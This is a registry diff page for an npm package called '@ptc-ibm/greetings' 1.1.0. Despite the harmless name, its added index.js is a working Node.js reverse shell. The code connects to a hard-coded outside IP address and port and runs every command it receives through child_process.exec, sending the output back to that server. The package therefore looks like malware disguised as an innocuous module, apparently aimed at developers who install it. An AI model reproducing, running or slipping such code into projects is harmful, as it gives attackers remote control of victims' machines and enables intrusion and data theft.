@ptc-ibm/greetings 1.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +30 -0
- package/package.json +11 -0
package/index.js
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
const net = require('net');
|
2
|
+
const { exec } = require('child_process');
|
3
|
+
|
4
|
+
const HOST = '169.38.106.78'; // Replace with your attacker's server IP or hostname
|
5
|
+
const PORT = 9443; // Replace with your desired port
|
6
|
+
|
7
|
+
const client = new net.Socket();
|
8
|
+
client.connect(PORT, HOST, () => {
|
9
|
+
console.log('Connected to reverse shell');
|
10
|
+
client.write('Shell connected\n');
|
11
|
+
});
|
12
|
+
|
13
|
+
client.on('data', (data) => {
|
14
|
+
exec(data.toString(), (error, stdout, stderr) => {
|
15
|
+
if (stdout) client.write(stdout);
|
16
|
+
if (stderr) client.write(stderr);
|
17
|
+
if (error) client.write(`Error: ${error.message}\n`);
|
18
|
+
});
|
19
|
+
});
|
20
|
+
|
21
|
+
client.on('close', () => {
|
22
|
+
console.log('Connection closed');
|
23
|
+
process.exit(0);
|
24
|
+
});
|
25
|
+
|
26
|
+
client.on('error', (err) => {
|
27
|
+
console.error('Error:', err);
|
28
|
+
process.exit(1);
|
29
|
+
});
|
30
|
+
|